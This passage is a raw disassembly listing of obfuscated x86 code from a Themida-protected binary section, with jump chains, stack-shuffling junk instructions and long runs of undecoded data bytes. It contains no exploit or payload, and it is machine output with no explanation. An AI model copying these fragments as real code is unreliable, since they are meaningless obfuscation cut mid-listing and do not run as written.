		dd 34FF0424h, 2434FF24h, 0D63BE9h, 5E8C000h, 73E9A004h
		dd 8B0000C1h, 34892424h, 4EC8324h, 4EC81h, 24890000h, 0C2F7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556EBA:				; CODE XREF: Themida_:00558E5Aj
		add	dword ptr [eax], 1
		pop	eax
		mov	ebx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp

loc_556ED4:				; CODE XREF: Themida_:0055EB83j
		push	ebx
		xor	dword ptr [esp], 58B349F5h
		pop	eax
		push	2101h
		mov	[esp], edx
		push	ecx
		jmp	loc_5598DD
; ---------------------------------------------------------------------------
		db 81h
		dd 34DE29C2h, 5AD38950h, 62FAF381h, 0C3814959h,	7DFE156Fh
		dd 1081E9h, 0F640B400h,	6DC3E9D4h, 34310000h, 24343324h
		dd 0E924248Bh, 1014Ah, 0D9288EB1h, 88C1805Bh, 0C003E9C0h
		dd 0EDE902E9h, 5A000008h, 36AA68h, 240C8900h, 42474FFh
		dd 81240C8Bh, 4C4h, 0FD5DE900h,	0B5B9FFFFh, 8151D71Ah
		dd 8A2F41E9h, 56E9814Ch, 0E937B554h, 25B9h
; ---------------------------------------------------------------------------

loc_556F60:				; CODE XREF: Themida_:0056898Cj
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	eax
		push	4
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 34C8361Ah
		add	edx, 499A020Ch
		sub	edx, eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 60747E29h
		and	esi, 1DD5618Bh
		jmp	loc_568A4C
; ---------------------------------------------------------------------------
aIXusdy		db '‰ÂXUédy',0
		align 2

loc_556FCE:				; CODE XREF: Themida_:00568C27j
		add	edi, 3CCEF55Eh
		xor	ebx, edi
		pop	edi
		add	esi, ebx
		pop	ebx
		jmp	loc_568361
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 148B0000h, 4C48124h,	55000000h, 51A1BA52h, 0D5890628h
		dd 0FFE5815Ah, 0E93CD030h, 0FFFFC6DAh, 3DE9D5F7h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55700B:				; CODE XREF: Themida_:00562849j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5551FB
; ---------------------------------------------------------------------------
		dd 0F4E9C4B2h
		db 0DAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_557023:				; CODE XREF: Themida_:00556DBFj
		add	esi, 0DB0DF0AEh
		sub	edi, esi
		jmp	loc_562542
; ---------------------------------------------------------------------------
		dd 4C48359h, 6219E9h, 2E9C100h,	0E904E9C1h, 1364h
; ---------------------------------------------------------------------------

loc_557044:				; CODE XREF: Themida_:00554431j
		push	196Bh
		mov	[esp], ecx
		push	ebx
		mov	ebx, 61D65585h
		jmp	loc_56218A
; ---------------------------------------------------------------------------
		db 51h
		dd 3E9E189h, 8300001Ah,	5E042404h, 9E668h, 1015E900h, 0C9810001h
		dd 1F8234F9h, 0E424E981h, 7AE9E71Dh, 81FFFFE3h,	577759F6h
		dd 4E6C14Eh, 83A9E9h, 81D9F700h, 241A8DC9h, 2AC1810Dh
		dd 689CC605h, 3646h, 55240C89h,	6F6BE9h, 0B3535B00h, 63C38082h
		dd 0C3DFE9h, 48F5B00h, 34FF5C24h, 2434FF24h, 81240C8Bh
		dd 4C4h, 4EC8100h, 0E9000000h, 0ED1Eh, 7C62C381h, 815825F7h
		dd 0FB4EB4EFh, 8DC78176h, 0E95E2D08h, 0BE32h, 2C04C483h
		dd 68D8288Ah, 18B7h, 956E9h, 1B816800h,	3C890000h, 0CC4D6824h
		dd 37E9A3C5h
		db 19h,	1, 0
; ---------------------------------------------------------------------------

loc_55710F:				; CODE XREF: Themida_:0055EA85j
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		push	eax
		jmp	loc_557435
; ---------------------------------------------------------------------------
		db 31h
		dd 0F8BCE9D0h, 0EA800000h, 0E9E22841h, 7A1Ch
; ---------------------------------------------------------------------------

loc_557130:				; CODE XREF: Themida_:00555B79j
		pop	ebx
		not	ebx
		xchg	ebx, ebp
		sub	ebp, 0E9AD51A1h
		jmp	loc_56890C
; ---------------------------------------------------------------------------

loc_557140:				; CODE XREF: Themida_:005624ACj
		push	esp
		pop	ebp
		jmp	loc_55334F
; ---------------------------------------------------------------------------
		db 1
aSsQ		db 'èéìQ',0
		align 2
		dw 3487h
		dd 0C1815C24h, 4, 4C181h, 0C330000h, 240C3124h,	5C240C33h
		dd 0ED868h, 240C8900h, 4EC81h, 24890000h, 24048324h, 240C8B04h
		dd 0E904C483h, 0FFFFCE05h
; ---------------------------------------------------------------------------

loc_557188:				; CODE XREF: Themida_:00566C14j
		push	5DA7h
		mov	[esp], ecx
		mov	ecx, 411721FBh
		or	ecx, 5EA27ED6h
		not	ecx
		xor	ecx, 0EF529A83h
		jmp	loc_55482D
; ---------------------------------------------------------------------------
		dd 2414895Ch, 1F92E9h
		db 0
; ---------------------------------------------------------------------------

loc_5571B1:				; CODE XREF: Themida_:00555B1Ej
		push	esi
		push	ebp
		push	0A7A3FBEh
		pop	ebp
		sub	ebp, 4EF85C35h
		dec	ebp
		jmp	loc_55D287
; ---------------------------------------------------------------------------

loc_5571C5:				; CODE XREF: Themida_:0055FA73j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		shr	eax, 18h
		jmp	loc_557CCC
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0BD552434h, 104E3767h, 0C89BC581h, 0EE89EFB1h
		dd 14BE565Dh, 816EF255h, 0CE1739C6h, 14F75666h,	24348B24h
		dd 8104C483h, 9EA1C9C6h, 5EF1011Bh, 0BA52F101h,	3CB201F6h
		dd 3FD3E281h, 0C2814DABh, 393C33A9h, 2A2CC181h,	0E9816186h
		dd 64CA2E4Fh, 0C181D129h, 64CA2E4Fh, 3BD9E9h, 242C8700h
		dd 4C4815Ch, 56000000h,	0B951E689h, 4, 0E683E9h, 2E95C00h
		dd 8100004Dh, 9E7C0AE7h, 0D731E977h, 0C2880000h, 885AD388h
		dd 0E5E95BDEh, 680000D1h, 1A58h, 54240C89h, 0FBE95259h
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55727B:				; CODE XREF: Themida_:00563B92j
		mov	edx, 3085563Bh
		add	edx, 78DF2893h
		jmp	loc_56826C
; ---------------------------------------------------------------------------
		db 1
		dd 81042474h, 0B4042444h, 5E79F518h, 0E92434FFh, 0FFFFDD42h
; ---------------------------------------------------------------------------

loc_5572A0:				; CODE XREF: Themida_:0055D2CEj
		add	ebx, ecx
		pop	ecx
		sub	edx, ebx
		jmp	loc_568969
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 0E9DDF621h, 17BFh
; ---------------------------------------------------------------------------

loc_5572B4:				; CODE XREF: Themida_:0056878Fj
		push	edx
		push	77D5h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		push	2FFB278Dh
		jmp	loc_55CBD0
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd 8024E980h, 0A62C7EE9h, 0A604C828h, 0EBEB8059h, 0E91EEB80h
		dd 4E42h, 0E9241C89h, 3F0Dh, 3E13E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5572F6:				; CODE XREF: Themida_:00554EBBj
		not	dword ptr [esp]
		pop	eax
		xor	eax, 8E48A8F5h
		mov	ebp, eax
		pop	eax
		dec	ebp
		jmp	loc_559ACA
; ---------------------------------------------------------------------------
		dd 0D6E9FB87h, 8B000010h, 65E92424h, 5700010Bh,	331E0BFh
		dd 5FF98926h, 0F751D1F7h, 41592414h, 0FFDBD7E9h, 5DEA89FFh
		dd 11997E9h, 241C8900h,	6D906852h, 4BE96C17h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_557343:				; CODE XREF: Themida_:00561B31j
		push	ebp
		push	edi
		push	62653DB0h
		pop	edi
		neg	edi
		not	edi
		neg	edi
		sub	edi, 9D9AC24Dh
		mov	ebp, edi
		pop	edi
		jmp	loc_557A9D
; ---------------------------------------------------------------------------
		align 10h
		dd 0B971E9F1h, 0C6810000h, 5C8F3093h, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_565995
; ---------------------------------------------------------------------------
		dd 6BA5258h, 0E910807Ch, 9083h,	279F181h, 0C9812861h, 104D5DA8h
		dd 52C2E981h, 48E95822h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55739B:				; CODE XREF: Themida_:0055F431j
		mov	[esp], eax
		jmp	loc_563F9E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 10E92434h, 0F70000F1h, 28EA81DAh, 8149DF36h,	779CA3F2h
		dd 5AD6897Dh, 594AEE81h, 0F6815574h, 182C41A1h,	8105E6C1h
		dd 0FD5A88EEh, 3CE817Fh, 815E3556h, 0E8168AC6h,	60A4E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5573E2:				; CODE XREF: Themida_:005568DAj
		mov	[esp], edx
		jmp	loc_564CF0
; ---------------------------------------------------------------------------

loc_5573EA:				; CODE XREF: Themida_:005547D5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	10CBh
		mov	[esp], edx
		mov	edx, 296D0BA5h
		push	ebx
		mov	ebx, 0D692F45Fh
		add	edx, ebx
		pop	ebx
		add	edi, edx
		pop	edx
		jmp	loc_559411
; ---------------------------------------------------------------------------

loc_557413:				; CODE XREF: Themida_:00559809j
		mov	[esp], esi
		mov	esi, 7B066F18h
		and	esi, 2AF64DAFh
		sub	esi, 0FFFFFFFFh
		sub	esi, 2A064D05h
		add	ebp, esi
		pop	esi
		jmp	loc_55B338
; ---------------------------------------------------------------------------

loc_557435:				; CODE XREF: Themida_:0055711Aj
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_561145
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0D001h
; ---------------------------------------------------------------------------

loc_557448:				; CODE XREF: Themida_:00562618j
		add	eax, 513C0744h
		sub	eax, 6D2C185Ch
		push	ebp
		mov	ebp, 158027CCh
		sub	ebp, 0FFFFFFFFh
		neg	ebp
		xor	ebp, 0D2A3ECD7h
		sub	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 71AE3EADh
		jmp	loc_55A557
; ---------------------------------------------------------------------------

loc_557474:				; CODE XREF: Themida_:0056050Cj
		shl	edx, 5
		sub	edx, 77A083BCh
		sub	ebx, edx
		jmp	loc_554436
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0BB532414h, 4A2D2DEAh, 916A40BAh,	0FFDA3144h
		dd 1C8B2434h, 6929E924h, 0C4830000h, 0BBF58104h, 55EA30DDh
		dd 8418FCBDh, 81DDF775h, 573300CDh, 3BED8118h, 295BCBA9h
		dd 242C8BEAh, 2904C483h, 94BDE9EAh, 55C0000h, 0A05BAD61h
		dd 6759E9h, 24143300h, 10F57E9h, 40500h, 10E90000h, 59FFFFECh
		dd 0EE81FE29h, 3D091FF3h, 81243C8Bh, 4C4h, 74FF5600h, 0E95E0424h
		dd 3088h
; ---------------------------------------------------------------------------

loc_557508:				; CODE XREF: Themida_:0055C0CCj
		mov	edi, 79B46170h
		jmp	loc_565E7B
; ---------------------------------------------------------------------------
		dw 0C0B8h
		dd 8132455Eh, 0E7459CC3h, 81C3013Fh, 0E7459CEBh, 0D3F7583Fh
		dd 7972BF57h, 0FB0925D5h, 0FAF3815Fh, 8142CF78h, 57AA7AC3h
		dd 5BDF292Ah, 243C875Eh, 6624248Bh, 9C240CFFh, 0FFBB54E9h
		dd 4C483FFh, 50ABB353h,	0D8F6B0B0h, 2C08E8C0h, 7E0C09Eh
		dd 249DE9h
		db 0
; ---------------------------------------------------------------------------

loc_557569:				; CODE XREF: Themida_:00565060j
		pop	eax
		jmp	loc_55E783
; ---------------------------------------------------------------------------

loc_55756F:				; CODE XREF: Themida_:00565D43j
		not	edx
		xchg	edx, ebx
		shr	ebx, 2
		jmp	loc_55E610
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0F917E939h, 0C601FFFFh, 5906EE81h, 0C6810E7Ch, 23906C2Dh
		dd 674DE958h, 0C890000h, 13E95324h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55759F:				; CODE XREF: Themida_:005586C6j
		xor	cl, 71h
		jmp	loc_554F47
; ---------------------------------------------------------------------------
		db 0E9h
		dd 7657h
; ---------------------------------------------------------------------------

loc_5575AC:				; CODE XREF: Themida_:0055C755j
		xor	eax, ecx
		jmp	loc_56317A
; ---------------------------------------------------------------------------

loc_5575B3:				; CODE XREF: Themida_:0055BE62j
		mov	dh, 0D9h
		sub	dh, 8Eh
		shr	dh, 7
		xor	dh, 60h
		jmp	loc_55E257
; ---------------------------------------------------------------------------

loc_5575C3:				; CODE XREF: Themida_:00567D0Dj
		mov	ecx, 77A64534h
		sub	ecx, ebx
		pop	ebx
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 71815E44h
		add	ecx, 6DDC2C7Dh
		add	ecx, 2CB30C30h
		inc	ecx
		push	edi
		push	edx
		mov	edx, 417A27BBh
		jmp	loc_561B77
; ---------------------------------------------------------------------------

loc_5575F2:				; CODE XREF: Themida_:00562C0Fj
		pop	esp
		xor	esi, [esp]
		jmp	loc_564CE8
; ---------------------------------------------------------------------------
		db 83h
		dd 0E3E904C7h, 66FFFFC4h, 68240C8Bh, 35A0h, 89241C89h
		dd 48D4E9E3h, 1C890000h, 4BB24h, 0D9290000h, 74FF515Bh
		dd 0E9590424h, 0FFFFE0EFh
; ---------------------------------------------------------------------------

loc_55762C:				; CODE XREF: Themida_:00558B71j
		add	eax, esi
		pop	esi
		sub	eax, ebx
		sub	eax, 7D980CADh
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_56677A
; ---------------------------------------------------------------------------
aLSqq		db '‹$$韟',0
		dd 24248B00h, 9C240CD3h, 0FFBA4CE9h, 89D889FFh,	1C8B58C1h
		dd 4C48324h, 34FFCF01h,	0C4835924h, 0E1895104h,	45A7E9h
		dd 0BA525C00h, 2, 148BD601h, 4C48124h, 33000000h, 34312434h
		dd 3C36E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557692:				; CODE XREF: Themida_:0055A58Bj
		push	eax
		mov	eax, 4
		mov	ebp, eax
		pop	eax
		sub	esi, 50523994h
		add	esi, ebp
		add	esi, 50523994h
		pop	ebp
		jmp	loc_564384
; ---------------------------------------------------------------------------
		db 0F7h
		dd 8EDC1D5h, 70E7E581h,	166847DEh, 89000036h, 0EA682434h
		dd 8B132A4Eh, 0C4812434h, 4, 5508EEC1h,	2235C5BDh, 5DEE0170h
		dd 525EF521h, 25B9E9h
		db 0
; ---------------------------------------------------------------------------

loc_5576E5:				; CODE XREF: Themida_:00563138j
		mov	ebp, 14B1047Ah
		jmp	loc_55A177
; ---------------------------------------------------------------------------
aYsr		db 'YéR¹',0
		db 0
; ---------------------------------------------------------------------------

loc_5576F5:				; CODE XREF: Themida_:00563D5Dj
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5600F9
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C6h, 76C8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55770E:				; CODE XREF: Themida_:0055D77Bj
		pop	ebp
		jmp	loc_564624
; ---------------------------------------------------------------------------
		dd 24048B66h, 5E08950h,	4, 5B668h, 24148900h, 8E685651h
		dd 5E0CEB4Bh, 0C681EED1h, 64589F42h, 895EF189h,	240C8BCAh
		dd 568FE9h, 0C0B60F00h,	0E987048Fh, 0FFFFB955h,	335DE901h
		dd 0C31240Ch, 240C3324h, 0FD24248Bh, 44D168h, 24348900h
		dd 7860BD68h, 24348B7Eh, 535E5456h, 0C779F8BBh,	0B95160h
		dd 81273F61h, 90156BEBh, 81CB0172h, 90156BC3h, 0D11E972h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557792:				; CODE XREF: Themida_:00555F3Bj
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_554A6B
; ---------------------------------------------------------------------------

loc_55779D:				; CODE XREF: Themida_:00556B8Aj
		sub	dh, al
		mov	eax, [esp]
		add	esp, 4
		mov	bh, 7Ah
		sub	bh, dh
		pop	edx
		jmp	loc_562D03
; ---------------------------------------------------------------------------

loc_5577AF:				; CODE XREF: Themida_:00554863j
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jmp	loc_55D773
; ---------------------------------------------------------------------------
		dd offset dword_493504+0E164h
		dw 8900h
		dd 5954240Ch, 0BC34E9h,	79BB5300h, 316ED10Eh, 0C40CE9DEh
		dd 0BF570000h, 39924477h, 1C80E9h, 0AFC38100h, 8B0C7C21h
		dd 0C481240Ch, 4, 0BD5BDF89h, 15201FF1h, 3C8BFD01h, 4C48124h
		dd 1000000h, 0C2815DEAh, 10533246h, 74685553h, 0E9417644h
		dd 31C1h, 0B7535066h, 33CF8022h, 0E97BEF80h, 9ADh
; ---------------------------------------------------------------------------

loc_55782C:				; CODE XREF: Themida_:00558BA5j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5538E0
; ---------------------------------------------------------------------------

loc_557851:				; CODE XREF: Themida_:00555A57j
		mov	esi, 6DAD6571h
		add	ecx, esi
		pop	esi
		mov	edx, [esp]
		jmp	loc_55B999
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0DEh
		dd 11AE46Dh, 5904244Ch,	66FFE9h, 241C8900h, 5036E9h, 5E2C100h
		dd 3BB9BD55h, 56457D2Fh, 883A7CBEh, 2437E93Bh, 34890000h
		dd 5EAD6824h, 3C890000h, 3AB06824h, 34FF27D0h, 243C8B24h
		dd 81E38953h, 4C3h, 4C38300h, 0FFBCDFE9h, 24248BFFh, 50240C89h
		dd 7C0468h, 241C8900h, 8852D388h, 5AF088DEh, 5253525Bh
		dd 0FFF989E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5578D5:				; CODE XREF: Themida_:0055D328j
		sub	ebx, 0FFFFFFFFh
		jmp	loc_560584
; ---------------------------------------------------------------------------

loc_5578DD:				; CODE XREF: Themida_:005593DEj
		xor	edx, 0D372F363h
		xor	edi, edx
		pop	edx
		mov	ebp, 9021A99Ch
		jmp	loc_564E41
; ---------------------------------------------------------------------------
		dd 0FBF2815Ah, 812C2D77h, 0DA1581F2h, 0DFB9511Bh, 0C14A0C1Ah
		dd 0D9F706E9h, 0E981D1F7h, 2CC752C0h, 0E959CA01h, 0FFFFC502h
; ---------------------------------------------------------------------------

loc_557918:				; CODE XREF: Themida_:00553F80j
		mov	ecx, esp
		push	ebx
		jmp	loc_56256C
; ---------------------------------------------------------------------------
		dd 1509790Dh, 9535484Eh, 292CAD11h, 0EF8158C7h,	5B6910FBh
		dd 0EC81F701h, 4, 0E9243489h, 0FFFFE8E1h, 5FF8895Fh, 48BC201h
		dd 4C48124h, 56000000h,	0C84FCCBEh, 0BF77E90Fh,	34FFFFFFh
		dd 0CBE95824h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_557967:				; CODE XREF: Themida_:00554E60j
		xor	[esp], ecx
		jmp	loc_559715
; ---------------------------------------------------------------------------
		db 0F7h
		dd 98EB81D3h, 89795897h, 0B9515BDAh, 6BE37B0Ah,	0C103E9C1h
		dd 0E98107E1h, 5EC35FB4h, 0E959CA31h, 72C2h, 6804C483h
		dd 26FDh, 4B68E9h, 8B665C00h, 16E92404h, 8700010Ch, 0E95C2434h
		dd 0FFFFB6F1h, 8B242C87h, 0C481243Ch, 4, 0E4DDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5579C5:				; CODE XREF: Themida_:0055632Ej
		push	ebp
		mov	ebp, 1AE8543Ch
		xor	ebp, 400F3B04h
		jmp	loc_55B087
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 5B075A73h, 4244481h,	286D193Dh, 4244C01h, 193DBA52h
		dd 5429286Dh, 8B5A0824h, 0C483240Ch, 96A6804h, 2C890000h
		dd 1EBFBD24h, 6C016E23h, 0E95D0424h, 10226h, 81241C8Bh
		dd 4C4h, 24343300h, 2ABCE9h
		db 0
; ---------------------------------------------------------------------------

loc_557A21:				; CODE XREF: Themida_:00564D94j
		shl	edx, 5
		sub	edx, 741AC835h
		mov	ebx, edx
		pop	edx
		dec	ebx
		dec	ebx
		jmp	loc_55984B
; ---------------------------------------------------------------------------
		dd 0EF81DF01h, 4113219Ch, 897C781h, 0E95B6D15h,	763Bh
		dd 0AE524FB9h, 0C7E95577h, 8900009Eh, 74E9241Ch
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557A5B:				; CODE XREF: Themida_:00562FBCj
		dec	edx
		xor	edx, 64947A3Bh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_555D6C
; ---------------------------------------------------------------------------
		db 9, 0F2h, 5Eh
		dd 0F11AC281h, 0C581D095h, 47A72A74h, 0ED81D529h, 47A72A74h
		dd 4CC5E9h, 24148900h, 1A30E9h
		db 0
; ---------------------------------------------------------------------------

loc_557A9D:				; CODE XREF: Themida_:0055735Aj
		add	[esp+4], ebp
		pop	ebp
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55946D
; ---------------------------------------------------------------------------

loc_557ABD:				; CODE XREF: Themida_:00560CF7j
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		jmp	loc_55E6CD
; ---------------------------------------------------------------------------
		dw 0C89h
aRsi		db '$µêRé©Õ',0
		dd 59CB2900h, 0E9243C8Bh, 5F6Dh, 5C24048Fh, 148BD001h
		dd 4C48324h, 0EC83D829h, 241C8904h, 8904EC83h, 0E9552434h
		dd 0FFFFE4FBh
; ---------------------------------------------------------------------------

loc_557B00:				; CODE XREF: Themida_:005532DDj
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		push	ebp
		jmp	loc_561AB4
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 89572414h, 4C781E7h, 83000000h, 3C8704C7h
		dd 0E8685C24h, 89000020h, 0C9E9242Ch, 5C000046h, 0A2C2E9h
		dd 2DCABE00h, 0C6834E46h, 81DEF701h, 0B9D231F6h, 0C6C181B1h
		dd 14A1B1Ah, 0BD1EE9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557B5A:				; CODE XREF: Themida_:005549F2j
		mov	esi, 77E72548h
		not	esi
		dec	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 341F7237h
		add	esi, ecx
		pop	ecx
		jmp	loc_5649A6
; ---------------------------------------------------------------------------
		dd 405h, 44BC6800h, 3C890000h, 0EC815624h, 4, 0BD242C89h
		dd 1B39235Ch, 24348155h, 67C82B39h, 39F6815Eh, 0E967C82Bh
		dd 5EEh, 0A922342Dh, 75DF2D4Eh,	0A1E9069Dh
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557BB7:				; CODE XREF: Themida_:0055FDEDj
		xor	esi, 0DD124BE3h
		mov	edx, 375F125Bh
		shr	edx, 2
		sub	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		neg	edx
		dec	edx
		push	esi
		mov	esi, 4D435ED9h
		sub	esi, 992950F2h
		sub	edx, esi
		pop	esi
		jmp	loc_566F96
; ---------------------------------------------------------------------------

loc_557BE5:				; CODE XREF: Themida_:00553DCAj
		xor	ebx, ecx
		jmp	loc_56289F
; ---------------------------------------------------------------------------
		dd 8975B951h, 0C80180A6h, 83240C8Bh, 0C18104C4h, 58FC2F47h
		dd 0E981C101h, 58FC2F47h, 0F28DE958h, 0E9500000h, 1029Fh
; ---------------------------------------------------------------------------

loc_557C14:				; CODE XREF: Themida_:00565AD6j
		push	ebp
		mov	ebp, esp
		jmp	loc_559872
; ---------------------------------------------------------------------------
		dd 24048B66h, 55585450h, 6038BF57h, 0FD8919B9h,	4160685Fh
		dd 1C890000h, 2E06E924h, 0E9510000h, 5159h
; ---------------------------------------------------------------------------

loc_557C40:				; CODE XREF: Themida_:0056700Cj
		push	ebx
		jmp	loc_553342
; ---------------------------------------------------------------------------
		dw 5DB8h
		dd 5013855Eh, 0B1243481h, 59137652h, 52B1F181h,	29581376h
		dd 5904244Ch, 0E9240401h, 5359h, 0BD359BBFh, 8BFE293Bh
		dd 0C483243Ch, 0BF574604h, 14C10469h, 0E95FFE21h, 16E0h
; ---------------------------------------------------------------------------

loc_557C84:				; CODE XREF: Themida_:0055BCD4j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 11F25F9h
		jmp	loc_55B5B8
; ---------------------------------------------------------------------------

loc_557C9A:				; CODE XREF: Themida_:00555C15j
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, 0C5h
		mov	dl, bh
		pop	ebx
		xor	al, dl
		push	dword ptr [esp]
		pop	edx
		push	3BC8h
		mov	[esp], ebx
		push	esp
		jmp	loc_55D15C
; ---------------------------------------------------------------------------
		align 4
		dd 805B66F9h, 0E98050E9h, 0E9C82880h, 0C408h
; ---------------------------------------------------------------------------

loc_557CCC:				; CODE XREF: Themida_:005571CFj
		xor	eax, ecx
		push	343Dh
		mov	[esp], eax
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_56496D
; ---------------------------------------------------------------------------

loc_557CEA:				; CODE XREF: Themida_:0055505Ej
		push	ebx
		push	4
		jmp	loc_56135E
; ---------------------------------------------------------------------------

loc_557CF5:				; CODE XREF: Themida_:005598CBj
		push	eax
		mov	eax, 67B11096h
		push	eax
		xor	dword ptr [esp], 3111260h
		mov	ecx, [esp]
		jmp	loc_55F455
; ---------------------------------------------------------------------------
		db 59h
		dd 78EB8058h, 0E980B450h, 0F3D5h
; ---------------------------------------------------------------------------

loc_557D18:				; CODE XREF: Themida_:0055C99Aj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553D04
; ---------------------------------------------------------------------------
		dw 0F501h
		dd 8124348Bh, 4C4h, 242C8700h, 2B4AE9h,	24148900h, 8E41E9h
		dd 43442500h, 0DD2539C1h, 0E9052A4Ah, 8032h, 8B5BD889h
		dd 0C481242Ch, 4, 0FFB340E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557D65:				; CODE XREF: Themida_:0055A626j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		push	edx
		push	6AF4640Eh
		pop	edx
		xchg	ebx, edx
		dec	ebx
		jmp	loc_563832
; ---------------------------------------------------------------------------

loc_557D87:				; CODE XREF: Themida_:0056369Bj
		push	edx
		mov	edx, 3B0C7F18h
		push	edx
		xchg	edi, [esp]
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, [esp]
		pop	edx
		push	0
		sub	[esp], edx
		pop	edx
		and	edx, 5B351407h
		xor	edx, 4D2A399Ch
		jmp	loc_559489
; ---------------------------------------------------------------------------
		dd 0C381D329h, 7BFD74EAh, 296FB951h, 0F1813D7Ah, 71F478A4h
		dd 3CACE181h, 0C1815E9Fh, 324F0210h, 47DEC181h,	0CB29971Fh
		dd 0C3815A59h, 488232BCh, 3334C381h, 0C3016B62h, 3334EB81h
		dd 64686B62h, 89000043h, 0BC682414h, 5A488232h,	1BA0EB81h
		dd 0D32953E0h, 1BA0C381h, 148B53E0h, 77E95524h,	890000CAh
		dd 0BE562404h, 3A71E69h, 7AFFE955h, 0C330000h, 24248B24h
		dd 8904EC83h, 0ECE9242Ch, 40000BCh, 58C730F7h, 0F605EFC0h
		dd 0AEC780DFh, 10E2E9h,	4C48100h, 0E9000000h, 770Bh, 55243489h
		dd 750A3FBDh, 5336BE3Ah, 0EE01E82Dh, 8BF7295Dh,	34E92434h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557E6F:				; CODE XREF: Themida_:00563541j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5670BC
; ---------------------------------------------------------------------------
		dd 2BB53h, 74E90000h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557E8F:				; CODE XREF: Themida_:005562E5j
		pop	esi
		xchg	esi, edx
		or	edx, 0B1420A2h
		or	edx, 51736E0Dh
		jmp	loc_55D119
; ---------------------------------------------------------------------------

loc_557EA3:				; CODE XREF: Themida_:0055EFAEj
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_553DBE
; ---------------------------------------------------------------------------

loc_557EB0:				; CODE XREF: Themida_:00561FACj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	edx, 4
		push	edx
		jmp	loc_55CE8E
; ---------------------------------------------------------------------------

loc_557EC1:				; CODE XREF: Themida_:005553E8j
		mov	[esp], esp
